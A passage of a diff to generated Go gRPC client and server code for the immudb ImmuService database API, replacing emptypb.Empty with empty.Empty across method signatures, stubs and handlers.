SetActiveUser(ctx context.Context, in *SetActiveUser } // Deprecated: Do not use. -func (c *immuServiceClient) UpdateAuthConfig(ctx context.Context, in *AuthConfig, opts ...grpc.CallOption) (*emptypb.Empty, error) { - out := new(emptypb.Empty) +func (c *immuServiceClient) UpdateAuthConfig(ctx context.Context, in *AuthConfig, opts ...grpc.CallOption) (*empty.Empty, error) { + out := new(empty.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/UpdateAuthConfig", in, out, opts...) if err != nil { return nil, err @@ -177,8 +177,8 @@ func (c *immuServiceClient) UpdateAuthConfig(ctx context.Context, in *AuthConfig } // Deprecated: Do not use. -func (c *immuServiceClient) UpdateMTLSConfig(ctx context.Context, in *MTLSConfig, opts ...grpc.CallOption) (*emptypb.Empty, error) { - out := new(emptypb.Empty) +func (c *immuServiceClient) UpdateMTLSConfig(ctx context.Context, in *MTLSConfig, opts ...grpc.CallOption) (*empty.Empty, error) { + out := new(empty.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/UpdateMTLSConfig", in, out, opts...) if err != nil { return nil, err @@ -195,8 +195,8 @@ func (c *immuServiceClient) OpenSession(ctx context.Context, in *OpenSessionRequ return out, nil } -func (c *immuServiceClient) CloseSession(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) { - out := new(emptypb.Empty) +func (c *immuServiceClient) CloseSession(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) { + out := new(empty.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/CloseSession", in, out, opts...) if err != nil { return nil, err @@ -204,8 +204,8 @@ func (c *immuServiceClient) CloseSession(ctx context.Context, in *emptypb.Empty, return out, nil } -func (c *immuServiceClient) KeepAlive(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) { - out := new(emptypb.Empty) +func (c *immuServiceClient) KeepAlive(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) { + out := new(empty.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/KeepAlive", in, out, opts...) if err != nil { return nil, err @@ -222,7 +222,7 @@ func (c *immuServiceClient) NewTx(ctx context.Context, in *NewTxRequest, opts .. return out, nil } -func (c *immuServiceClient) Commit(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*CommittedSQLTx, error) { +func (c *immuServiceClient) Commit(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*CommittedSQLTx, error) { out := new(CommittedSQLTx) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/Commit", in, out, opts...) if err != nil { @@ -231,8 +231,8 @@ func (c *immuServiceClient) Commit(ctx context.Context, in *emptypb.Empty, opts return out, nil } -func (c *immuServiceClient) Rollback(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) { - out := new(emptypb.Empty) +func (c *immuServiceClient) Rollback(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) { + out := new(empty.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/Rollback", in, out, opts...) if err != nil { return nil, err @@ -240,8 +240,8 @@ func (c *immuServiceClient) Rollback(ctx context.Context, in *emptypb.Empty, opt return out, nil } -func (c *immuServiceClient) TxSQLExec(ctx context.Context, in *SQLExecRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) { - out := new(emptypb.Empty) +func (c *immuServiceClient) TxSQLExec(ctx context.Context, in *SQLExecRequest, opts ...grpc.CallOption) (*empty.Empty, error) { + out := new(empty.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/TxSQLExec", in, out, opts...) if err != nil { return nil, err @@ -269,8 +269,8 @@ func (c *immuServiceClient) Login(ctx context.Context, in *LoginRequest, opts .. } // Deprecated: Do not use. -func (c *immuServiceClient) Logout(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) { - out := new(emptypb.Empty) +func (c *immuServiceClient) Logout(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) { + out := new(empty.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/Logout", in, out, opts...) if err != nil { return nil, err @@ -359,7 +359,7 @@ func (c *immuServiceClient) Count(ctx context.Context, in *KeyPrefix, opts ...gr return out, nil } -func (c *immuServiceClient) CountAll(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*EntryCount, error) { +func (c *immuServiceClient) CountAll(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*EntryCount, error) { out := new(EntryCount) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/CountAll", in, out, opts...) if err != nil { @@ -413,7 +413,7 @@ func (c *immuServiceClient) ServerInfo(ctx context.Context, in *ServerInfoReques return out, nil } -func (c *immuServiceClient) Health(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*HealthResponse, error) { +func (c *immuServiceClient) Health(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*HealthResponse, error) { out := new(HealthResponse) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/Health", in, out, opts...) if err != nil { @@ -422,7 +422,7 @@ func (c *immuServiceClient) Health(ctx context.Context, in *emptypb.Empty, opts return out, nil } -func (c *immuServiceClient) DatabaseHealth(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*DatabaseHealthResponse, error) { +func (c *immuServiceClient) DatabaseHealth(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*DatabaseHealthResponse, error) { out := new(DatabaseHealthResponse) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/DatabaseHealth", in, out, opts...) if err != nil { @@ -431,7 +431,7 @@ func (c *immuServiceClient) DatabaseHealth(ctx context.Context, in *emptypb.Empt return out, nil } -func (c *immuServiceClient) CurrentState(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*ImmutableState, error) { +func (c *immuServiceClient) CurrentState(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*ImmutableState, error) { out := new(ImmutableState) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/CurrentState", in, out, opts...) if err != nil { @@ -486,8 +486,8 @@ func (c *immuServiceClient) ZScan(ctx context.Context, in *ZScanRequest, opts .. } // Deprecated: Do not use. -func (c *immuServiceClient) CreateDatabase(ctx context.Context, in *Database, opts ...grpc.CallOption) (*emptypb.Empty, error) { - out := new(emptypb.Empty) +func (c *immuServiceClient) CreateDatabase(ctx context.Context, in *Database, opts ...grpc.CallOption) (*empty.Empty, error) { + out := new(empty.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/CreateDatabase", in, out, opts...) if err != nil { return nil, err @@ -496,8 +496,8 @@ func (c *immuServiceClient) CreateDatabase(ctx context.Context, in *Database, op } // Deprecated: Do not use. -func (c *immuServiceClient) CreateDatabaseWith(ctx context.Context, in *DatabaseSettings, opts ...grpc.CallOption) (*emptypb.Empty, error) { - out := new(emptypb.Empty) +func (c *immuServiceClient) CreateDatabaseWith(ctx context.Context, in *DatabaseSettings, opts ...grpc.CallOption) (*empty.Empty, error) { + out := new(empty.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/CreateDatabaseWith", in, out, opts...) if err != nil { return nil, err @@ -542,7 +542,7 @@ func (c *immuServiceClient) DeleteDatabase(ctx context.Context, in *DeleteDataba } // Deprecated: Do not use. -func (c *immuServiceClient) DatabaseList(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*DatabaseListResponse, error) { +func (c *immuServiceClient) DatabaseList(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*DatabaseListResponse, error) { out := new(DatabaseListResponse) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/DatabaseList", in, out, opts...) if err != nil { @@ -570,8 +570,8 @@ func (c *immuServiceClient) UseDatabase(ctx context.Context, in *Database, opts } // Deprecated: Do not use. -func (c *immuServiceClient) UpdateDatabase(ctx context.Context, in *DatabaseSettings, opts ...grpc.CallOption) (*emptypb.Empty, error) { - out := new(emptypb.Empty) +func (c *immuServiceClient) UpdateDatabase(ctx context.Context, in *DatabaseSettings, opts ...grpc.CallOption) (*empty.Empty, error) { + out := new(empty.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/UpdateDatabase", in, out, opts...) if err != nil { return nil, err @@ -589,7 +589,7 @@ func (c *immuServiceClient) UpdateDatabaseV2(ctx context.Context, in *UpdateData } // Deprecated: Do not use. -func (c *immuServiceClient) GetDatabaseSettings(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*DatabaseSettings, error) { +func (c *immuServiceClient) GetDatabaseSettings(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*DatabaseSettings, error) { out := new(DatabaseSettings) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/GetDatabaseSettings", in, out, opts...) if err != nil { @@ -616,8 +616,8 @@ func (c *immuServiceClient) FlushIndex(ctx context.Context, in *FlushIndexReques return out, nil } -func (c *immuServiceClient) CompactIndex(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) { - out := new(emptypb.Empty) +func (c *immuServiceClient) CompactIndex(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) { + out := new(empty.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/CompactIndex", in, out, opts...) if err != nil { return nil, err @@ -971,7 +971,7 @@ func (c *immuServiceClient) SQLQuery(ctx context.Context, in *SQLQueryRequest, o return out, nil } -func (c *immuServiceClient) ListTables(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*SQLQueryResult, error) { +func (c *immuServiceClient) ListTables(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*SQLQueryResult, error) { out := new(SQLQueryResult) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/ListTables", in, out, opts...) if err != nil { @@ -1011,27 +1011,27 @@ func (c *immuServiceClient) TruncateDatabase(ctx context.Context, in *TruncateDa // All implementations should embed UnimplementedImmuServiceServer // for forward compatibility type ImmuServiceServer interface { - ListUsers(context.Context, *emptypb.Empty) (*UserList, error) - CreateUser(context.Context, *CreateUserRequest) (*emptypb.Empty, error) - ChangePassword(context.Context, *ChangePasswordRequest) (*emptypb.Empty, error) - ChangePermission(context.Context, *ChangePermissionRequest) (*emptypb.Empty, error) - SetActiveUser(context.Context, *SetActiveUserRequest) (*emptypb.Empty, error) + ListUsers(context.Context, *empty.Empty) (*UserList, error) + CreateUser(context.Context, *CreateUserRequest) (*empty.Empty, error) + ChangePassword(context.Context, *ChangePasswordRequest) (*empty.Empty, error) + ChangePermission(context.Context, *ChangePermissionRequest) (*empty.Empty, error) + SetActiveUser(context.Context, *SetActiveUserRequest) (*empty.Empty, error) // Deprecated: Do not use. - UpdateAuthConfig(context.Context, *AuthConfig) (*emptypb.Empty, error) + UpdateAuthConfig(context.Context, *AuthConfig) (*empty.Empty, error) // Deprecated: Do not use. - UpdateMTLSConfig(context.Context, *MTLSConfig) (*emptypb.Empty, error) + UpdateMTLSConfig(context.Context, *MTLSConfig) (*empty.Empty, error) OpenSession(context.Context, *OpenSessionRequest) (*OpenSessionResponse, error) - CloseSession(context.Context, *emptypb.Empty) (*emptypb.Empty, error) - KeepAlive(context.Context, *emptypb.Empty) (*emptypb.Empty, error) + CloseSession(context.Context, *empty.Empty) (*empty.Empty, error) + KeepAlive(context.Context, *empty.Empty) (*empty.Empty, error) NewTx(context.Context, *NewTxRequest) (*NewTxResponse, error) - Commit(context.Context, *emptypb.Empty) (*CommittedSQLTx, error) - Rollback(context.Context, *emptypb.Empty) (*emptypb.Empty, error) - TxSQLExec(context.Context, *SQLExecRequest) (*emptypb.Empty, error) + Commit(context.Context, *empty.Empty) (*CommittedSQLTx, error) + Rollback(context.Context, *empty.Empty) (*empty.Empty, error) + TxSQLExec(context.Context, *SQLExecRequest) (*empty.Empty, error) TxSQLQuery(context.Context, *SQLQueryRequest) (*SQLQueryResult, error) // Deprecated: Do not use. Login(context.Context, *LoginRequest) (*LoginResponse, error) // Deprecated: Do not use. - Logout(context.Context, *emptypb.Empty) (*emptypb.Empty, error) + Logout(context.Context, *empty.Empty) (*empty.Empty, error) Set(context.Context, *SetRequest) (*TxHeader, error) VerifiableSet(context.Context, *VerifiableSetRequest) (*VerifiableTx, error) Get(context.Context, *KeyRequest) (*Entry, error) @@ -1043,7 +1043,7 @@ type ImmuServiceServer interface { // NOT YET SUPPORTED Count(context.Context, *KeyPrefix) (*EntryCount, error) // NOT YET SUPPORTED - CountAll(context.Context, *emptypb.Empty) (*EntryCount, error) + CountAll(context.Context, *empty.Empty) (*EntryCount, error) TxById(context.Context, *TxRequest) (*Tx, error) VerifiableTxById(context.Context, *VerifiableTxRequest) (*VerifiableTx, error) TxScan(context.Context, *TxScanRequest) (*TxList, error) @@ -1052,9 +1052,9 @@ type ImmuServiceServer interface { // ServerInfoRequest is defined for future extensions. ServerInfo(context.Context, *ServerInfoRequest) (*ServerInfoResponse, error) // DEPRECATED: Use ServerInfo - Health(context.Context, *emptypb.Empty) (*HealthResponse, error) - DatabaseHealth(context.Context, *emptypb.Empty) (*DatabaseHealthResponse, error) - CurrentState(context.Context, *emptypb.Empty) (*ImmutableState, error) + Health(context.Context, *empty.Empty) (*HealthResponse, error) + DatabaseHealth(context.Context, *empty.Empty) (*DatabaseHealthResponse, error) + CurrentState(context.Context, *empty.Empty) (*ImmutableState, error) SetReference(context.Context, *ReferenceRequest) (*TxHeader, error) VerifiableSetReference(context.Context, *VerifiableReferenceRequest) (*VerifiableTx, error) ZAdd(context.Context, *ZAddRequest) (*TxHeader, error) @@ -1062,29 +1062,29 @@ type ImmuServiceServer interface { ZScan(context.Context, *ZScanRequest) (*ZEntries, error) // Deprecated: Do not use. // DEPRECATED: Use CreateDatabaseV2 - CreateDatabase(context.Context, *Database) (*emptypb.Empty, error) + CreateDatabase(context.Context, *Database) (*empty.Empty, error) // Deprecated: Do not use. // DEPRECATED: Use CreateDatabaseV2 - CreateDatabaseWith(context.Context, *DatabaseSettings) (*emptypb.Empty, error) + CreateDatabaseWith(context.Context, *DatabaseSettings) (*empty.Empty, error) CreateDatabaseV2(context.Context, *CreateDatabaseRequest) (*CreateDatabaseResponse, error) LoadDatabase(context.Context, *LoadDatabaseRequest) (*LoadDatabaseResponse, error) UnloadDatabase(context.Context, *UnloadDatabaseRequest) (*UnloadDatabaseResponse, error) DeleteDatabase(context.Context, *DeleteDatabaseRequest) (*DeleteDatabaseResponse, error) // Deprecated: Do not use. // DEPRECATED: Use DatabaseListV2 - DatabaseList(context.Context, *emptypb.Empty) (*DatabaseListResponse, error) + DatabaseList(context.Context, *empty.Empty) (*DatabaseListResponse, error) DatabaseListV2(context.Context, *DatabaseListRequestV2) (*DatabaseListResponseV2, error) UseDatabase(context.Context, *Database) (*UseDatabaseReply, error) // Deprecated: Do not use. // DEPRECATED: Use UpdateDatabaseV2 - UpdateDatabase(context.Context, *DatabaseSettings) (*emptypb.Empty, error) + UpdateDatabase(context.Context, *DatabaseSettings) (*empty.Empty, error) UpdateDatabaseV2(context.Context, *UpdateDatabaseRequest) (*UpdateDatabaseResponse, error) // Deprecated: Do not use. // DEPRECATED: Use GetDatabaseSettingsV2 - GetDatabaseSettings(context.Context, *emptypb.Empty) (*DatabaseSettings, error) + GetDatabaseSettings(context.Context, *empty.Empty) (*DatabaseSettings, error) GetDatabaseSettingsV2(context.Context, *DatabaseSettingsRequest) (*DatabaseSettingsResponse, error) FlushIndex(context.Context, *FlushIndexRequest) (*FlushIndexResponse, error) - CompactIndex(context.Context, *emptypb.Empty) (*emptypb.Empty, error) + CompactIndex(context.Context, *empty.Empty) (*empty.Empty, error) // Streams StreamGet(*KeyRequest, ImmuService_StreamGetServer) error StreamSet(ImmuService_StreamSetServer) error @@ -1099,7 +1099,7 @@ type ImmuServiceServer interface { ReplicateTx(ImmuService_ReplicateTxServer) error SQLExec(context.Context, *SQLExecRequest) (*SQLExecResult, error) SQLQuery(context.Context, *SQLQueryRequest) (*SQLQueryResult, error) - ListTables(context.Context, *emptypb.Empty) (*SQLQueryResult, error) + ListTables(context.Context, *empty.Empty) (*SQLQueryResult, error) DescribeTable(context.Context, *Table) (*SQLQueryResult, error) VerifiableSQLGet(context.Context, *VerifiableSQLGetRequest) (*VerifiableSQLEntry, error) TruncateDatabase(context.Context, *TruncateDatabaseRequest) (*TruncateDatabaseResponse, error) @@ -1109,46 +1109,46 @@ type ImmuServiceServer interface { type UnimplementedImmuServiceServer struct { } -func (UnimplementedImmuServiceServer) ListUsers(context.Context, *emptypb.Empty) (*UserList, error) { +func (UnimplementedImmuServiceServer) ListUsers(context.Context, *empty.Empty) (*UserList, error) { return nil, status.Errorf(codes.Unimplemented, "method ListUsers not implemented") } -func (UnimplementedImmuServiceServer) CreateUser(context.Context, *CreateUserRequest) (*emptypb.Empty, error) { +func (UnimplementedImmuServiceServer) CreateUser(context.Context, *CreateUserRequest) (*empty.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method CreateUser not implemented") } -func (UnimplementedImmuServiceServer) ChangePassword(context.Context, *ChangePasswordRequest) (*emptypb.Empty, error) { +func (UnimplementedImmuServiceServer) ChangePassword(context.Context, *ChangePasswordRequest) (*empty.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method ChangePassword not implemented") } -func (UnimplementedImmuServiceServer) ChangePermission(context.Context, *ChangePermissionRequest) (*emptypb.Empty, error) { +func (UnimplementedImmuServiceServer) ChangePermission(context.Context, *ChangePermissionRequest) (*empty.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method ChangePermission not implemented") } -func (UnimplementedImmuServiceServer) SetActiveUser(context.Context, *SetActiveUserRequest) (*emptypb.Empty, error) { +func (UnimplementedImmuServiceServer) SetActiveUser(context.Context, *SetActiveUserRequest) (*empty.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method SetActiveUser not implemented") } -func (UnimplementedImmuServiceServer) UpdateAuthConfig(context.Context, *AuthConfig) (*emptypb.Empty, error) { +func (UnimplementedImmuServiceServer) UpdateAuthConfig(context.Context, *AuthConfig) (*empty.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method UpdateAuthConfig not implemented") } -func (UnimplementedImmuServiceServer) UpdateMTLSConfig(context.Context, *MTLSConfig) (*emptypb.Empty, error) { +func (UnimplementedImmuServiceServer) UpdateMTLSConfig(context.Context, *MTLSConfig) (*empty.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method UpdateMTLSConfig not implemented") } func (UnimplementedImmuServiceServer) OpenSession(context.Context, *OpenSessionRequest) (*OpenSessionResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method OpenSession not implemented") } -func (UnimplementedImmuServiceServer) CloseSession(context.Context, *emptypb.Empty) (*emptypb.Empty, error) { +func (UnimplementedImmuServiceServer) CloseSession(context.Context, *empty.Empty) (*empty.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method CloseSession not implemented") } -func (UnimplementedImmuServiceServer) KeepAlive(context.Context, *emptypb.Empty) (*emptypb.Empty, error) { +func (UnimplementedImmuServiceServer) KeepAlive(context.Context, *empty.Empty) (*empty.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method KeepAlive not implemented") } func (UnimplementedImmuServiceServer) NewTx(context.Context, *NewTxRequest) (*NewTxResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method NewTx not implemented") } -func (UnimplementedImmuServiceServer) Commit(context.Context, *emptypb.Empty) (*CommittedSQLTx, error) { +func (UnimplementedImmuServiceServer) Commit(context.Context, *empty.Empty) (*CommittedSQLTx, error) { return nil, status.Errorf(codes.Unimplemented, "method Commit not implemented") } -func (UnimplementedImmuServiceServer) Rollback(context.Context, *emptypb.Empty) (*emptypb.Empty, error) { +func (UnimplementedImmuServiceServer) Rollback(context.Context, *empty.Empty) (*empty.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method Rollback not implemented") } -func (UnimplementedImmuServiceServer) TxSQLExec(context.Context, *SQLExecRequest) (*emptypb.Empty, error) { +func (UnimplementedImmuServiceServer) TxSQLExec(context.Context, *SQLExecRequest) (*empty.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method TxSQLExec not implemented") } func (UnimplementedImmuServiceServer) TxSQLQuery(context.Context, *SQLQueryRequest) (*SQLQueryResult, error) { @@ -1157,7 +1157,7 @@ func (UnimplementedImmuServiceServer) TxSQLQuery(context.Context, *SQLQueryReque func (UnimplementedImmuServiceServer) Login(context.Context, *LoginRequest) (*LoginResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method Login not implemented") } -func (UnimplementedImmuServiceServer) Logout(context.Context, *emptypb.Empty) (*emptypb.Empty, error) { +func (UnimplementedImmuServiceServer) Logout(context.Context, *empty.Empty) (*empty.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method Logout not implemented") } func (UnimplementedImmuServiceServer) Set(context.Context, *SetRequest) (*TxHeader, error) { @@ -1187,7 +1187,7 @@ func (UnimplementedImmuServiceServer) Scan(context.Context, *ScanRequest) (*Entr func (UnimplementedImmuServiceServer) Count(context.Context, *KeyPrefix) (*EntryCount, error) { return nil, status.Errorf(codes.Unimplemented, "method Count not implemented") } -func (UnimplementedImmuServiceServer) CountAll(context.Context, *emptypb.Empty) (*EntryCount, error) { +func (UnimplementedImmuServiceServer) CountAll(context.Context, *empty.Empty) (*EntryCount, error) { return nil, status.Errorf(codes.Unimplemented, "method CountAll not implemented") } func (UnimplementedImmuServiceServer) TxById(context.Context, *TxRequest) (*Tx, error) { @@ -1205,13 +1205,13 @@ func (UnimplementedImmuServiceServer) History(context.Context, *HistoryRequest) func (UnimplementedImmuServiceServer) ServerInfo(context.Context, *ServerInfoRequest) (*ServerInfoResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method ServerInfo not implemented") } -func (UnimplementedImmuServiceServer) Health(context.Context, *emptypb.Empty) (*HealthResponse, error) { +func (UnimplementedImmuServiceServer) Health(context.Context, *empty.Empty) (*HealthResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method Health not implemented") } -func (UnimplementedImmuServiceServer) DatabaseHealth(context.Context, *emptypb.Empty) (*DatabaseHealthResponse, error) { +func (UnimplementedImmuServiceServer) DatabaseHealth(context.Context, *empty.Empty) (*DatabaseHealthResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method DatabaseHealth not implemented") } -func (UnimplementedImmuServiceServer) CurrentState(context.Context, *emptypb.Empty) (*ImmutableState, error) { +func (UnimplementedImmuServiceServer) CurrentState(context.Context, *empty.Empty) (*ImmutableState, error) { return nil, status.Errorf(codes.Unimplemented, "method CurrentState not implemented") } func (UnimplementedImmuServiceServer) SetReference(context.Context, *ReferenceRequest) (*TxHeader, error) { @@ -1229,10 +1229,10 @@ func (UnimplementedImmuServiceServer) VerifiableZAdd(context.Context, *Verifiabl func (UnimplementedImmuServiceServer) ZScan(context.Context, *ZScanRequest) (*ZEntries, error) { return nil, status.Errorf(codes.Unimplemented, "method ZScan not implemented") } -func (UnimplementedImmuServiceServer) CreateDatabase(context.Context, *Database) (*emptypb.Empty, error) { +func (UnimplementedImmuServiceServer) CreateDatabase(context.Context, *Database) (*empty.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method CreateDatabase not implemented") } -func (UnimplementedImmuServiceServer) CreateDatabaseWith(context.Context, *DatabaseSettings) (*emptypb.Empty, error) { +func (UnimplementedImmuServiceServer) CreateDatabaseWith(context.Context, *DatabaseSettings) (*empty.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method CreateDatabaseWith not implemented") } func (UnimplementedImmuServiceServer) CreateDatabaseV2(context.Context, *CreateDatabaseRequest) (*CreateDatabaseResponse, error) { @@ -1247,7 +1247,7 @@ func (UnimplementedImmuServiceServer) UnloadDatabase(context.Context, *UnloadDat func (UnimplementedImmuServiceServer) DeleteDatabase(context.Context, *DeleteDatabaseRequest) (*DeleteDatabaseResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method DeleteDatabase not implemented") } -func (UnimplementedImmuServiceServer) DatabaseList(context.Context, *emptypb.Empty) (*DatabaseListResponse, error) { +func (UnimplementedImmuServiceServer) DatabaseList(context.Context, *empty.Empty) (*DatabaseListResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method DatabaseList not implemented") } func (UnimplementedImmuServiceServer) DatabaseListV2(context.Context, *DatabaseListRequestV2) (*DatabaseListResponseV2, error) { @@ -1256,13 +1256,13 @@ func (UnimplementedImmuServiceServer) DatabaseListV2(context.Context, *DatabaseL func (UnimplementedImmuServiceServer) UseDatabase(context.Context, *Database) (*UseDatabaseReply, error) { return nil, status.Errorf(codes.Unimplemented, "method UseDatabase not implemented") } -func (UnimplementedImmuServiceServer) UpdateDatabase(context.Context, *DatabaseSettings) (*emptypb.Empty, error) { +func (UnimplementedImmuServiceServer) UpdateDatabase(context.Context, *DatabaseSettings) (*empty.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method UpdateDatabase not implemented") } func (UnimplementedImmuServiceServer) UpdateDatabaseV2(context.Context, *UpdateDatabaseRequest) (*UpdateDatabaseResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method UpdateDatabaseV2 not implemented") } -func (UnimplementedImmuServiceServer) GetDatabaseSettings(context.Context, *emptypb.Empty) (*DatabaseSettings, error) { +func (UnimplementedImmuServiceServer) GetDatabaseSettings(context.Context, *empty.Empty) (*DatabaseSettings, error) { return nil, status.Errorf(codes.Unimplemented, "method GetDatabaseSettings not implemented") } func (UnimplementedImmuServiceServer) GetDatabaseSettingsV2(context.Context, *DatabaseSettingsRequest) (*DatabaseSettingsResponse, error) { @@ -1271,7 +1271,7 @@ func (UnimplementedImmuServiceServer) GetDatabaseSettingsV2(context.Context, *Da func (UnimplementedImmuServiceServer) FlushIndex(context.Context, *FlushIndexRequest) (*FlushIndexResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method FlushIndex not implemented") } -func (UnimplementedImmuServiceServer) CompactIndex(context.Context, *emptypb.Empty) (*emptypb.Empty, error) { +func (UnimplementedImmuServiceServer) CompactIndex(context.Context, *empty.Empty) (*empty.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method CompactIndex not implemented") } func (UnimplementedImmuServiceServer) StreamGet(*KeyRequest, ImmuService_StreamGetServer) error { @@ -1310,7 +1310,7 @@ func (UnimplementedImmuServiceServer) SQLExec(context.Context, *SQLExecRequest) func (UnimplementedImmuServiceServer) SQLQuery(context.Context, *SQLQueryRequest) (*SQLQueryResult, error) { return nil, status.Errorf(codes.Unimplemented, "method SQLQuery not implemented") } -func (UnimplementedImmuServiceServer) ListTables(context.Context, *emptypb.Empty) (*SQLQueryResult, error) { +func (UnimplementedImmuServiceServer) ListTables(context.Context, *empty.Empty) (*SQLQueryResult, error) { return nil, status.Errorf(codes.Unimplemented, "method ListTables not implemented") } func (UnimplementedImmuServiceServer) DescribeTable(context.Context, *Table) (*SQLQueryResult, error) { @@ -1335,7 +1335,7 @@ func RegisterImmuServiceServer(s grpc.ServiceRegistrar, srv ImmuServiceServer) { } func _ImmuService_ListUsers_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(emptypb.Empty) + in := new(empty.Empty) if err := dec(in); err != nil { return nil, err } @@ -1347,7 +1347,7 @@ func _ImmuService_ListUsers_Handler(srv interface{}, ctx context.Context, dec fu FullMethod: "/immudb.schema.ImmuService/ListUsers", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).ListUsers(ctx, req.(*emptypb.Empty)) + return srv.(ImmuServiceServer).ListUsers(ctx, req.(*empty.Empty)) } return interceptor(ctx, in, info, handler) } @@ -1479,7 +1479,7 @@ func _ImmuService_OpenSession_Handler(srv interface{}, ctx context.Context, dec } func _ImmuService_CloseSession_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(emptypb.Empty) + in := new(empty.Empty) if err := dec(in); err != nil { return nil, err } @@ -1491,13 +1491,13 @@ func _ImmuService_CloseSession_Handler(srv interface{}, ctx context.Context, dec FullMethod: "/immudb.schema.ImmuService/CloseSession", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).CloseSession(ctx, req.(*emptypb.Empty)) + return srv.(ImmuServiceServer).CloseSession(ctx, req.(*empty.Empty)) } return interceptor(ctx, in, info, handler) } func _ImmuService_KeepAlive_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(emptypb.Empty) + in := new(empty.Empty) if err := dec(in); err != nil { return nil, err } @@ -1509,7 +1509,7 @@ func _ImmuService_KeepAlive_Handler(srv interface{}, ctx context.Context, dec fu FullMethod: "/immudb.schema.ImmuService/KeepAlive", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).KeepAlive(ctx, req.(*emptypb.Empty)) + return srv.(ImmuServiceServer).KeepAlive(ctx, req.(*empty.Empty)) } return interceptor(ctx, in, info, handler) } @@ -1533,7 +1533,7 @@ func _ImmuService_NewTx_Handler(srv interface{}, ctx context.Context, dec func(i } func _ImmuService_Commit_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(emptypb.Empty) + in := new(empty.Empty) if err := dec(in); err != nil { return nil, err } @@ -1545,13 +1545,13 @@ func _ImmuService_Commit_Handler(srv interface{}, ctx context.Context, dec func( FullMethod: 